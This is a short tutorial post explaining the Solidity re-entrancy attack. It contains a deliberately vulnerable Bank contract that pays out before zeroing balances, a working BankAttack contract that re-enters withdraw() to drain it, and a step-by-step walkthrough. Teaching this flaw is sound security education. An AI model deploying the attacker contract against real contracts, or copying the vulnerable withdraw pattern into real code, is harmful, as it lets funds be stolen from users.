Solidity Attacks => Re-Entrancy
Re-entrancy attack explained
Below is a vulnerable contract
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pragma solidity ^0.8;
contract Bank {
mapping(address => uint) balance;
function deposit() public payable {
balance[msg.sender] += msg.value;
}
function withdraw() public payable {
require(balance[msg.sender] != 0, "No Balance");
(bool success, ) = msg.sender.call{value: balance[msg.sender]}("");
require(success, "Fail Sending");
balance[msg.sender] = 0;
}
function getBalance(address _addr) public view returns (uint){
return balance[_addr];
}
// The call will be put on hold till the receive function in the other contract is done executing, so
// if the recevie function calls withdraw() again the require(balance[msg.sender]!=0) is bypassed.
}
contract BankAttack {
Bank bank;
constructor(address _addr) payable {
bank = Bank(_addr);
}
function deposit(uint val) public payable {
bank.deposit{value: val}();
}
function attack() public {
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
// If statement used because it more like loops. The new withdraw function will call receive again and so until balance is 0, withdraw() is called.
}
}
- Bank contract is deployed, users send money to it and it has a total of 7 eth.
Attacker deposit say 1 ether, so now attacker has a balance of 1 ether.
- BankAttacker calls the attack() function , it calls withdraw function since “balance[msg.sender] != 0” is true.
Withdraw sends 1 ether to attackers receive function and the withdraw call frame after execution is paused until attacker’s receive is executed.
- Now the receive function calls withdraw again, “balance[msg.sender] != 0” is still true because it comes after the call frame.
- The withdraw function again sends 1 ether to attackers receive function. Again the receive function calls withdraw(), still the balance is not updated.
So until “address(bank).balance >= 1 ether” is true this more like a loop keeps on going. The Bank Contract is no drained and the attacker has 8 eth now.
This post is licensed under CC BY 4.0 by the author.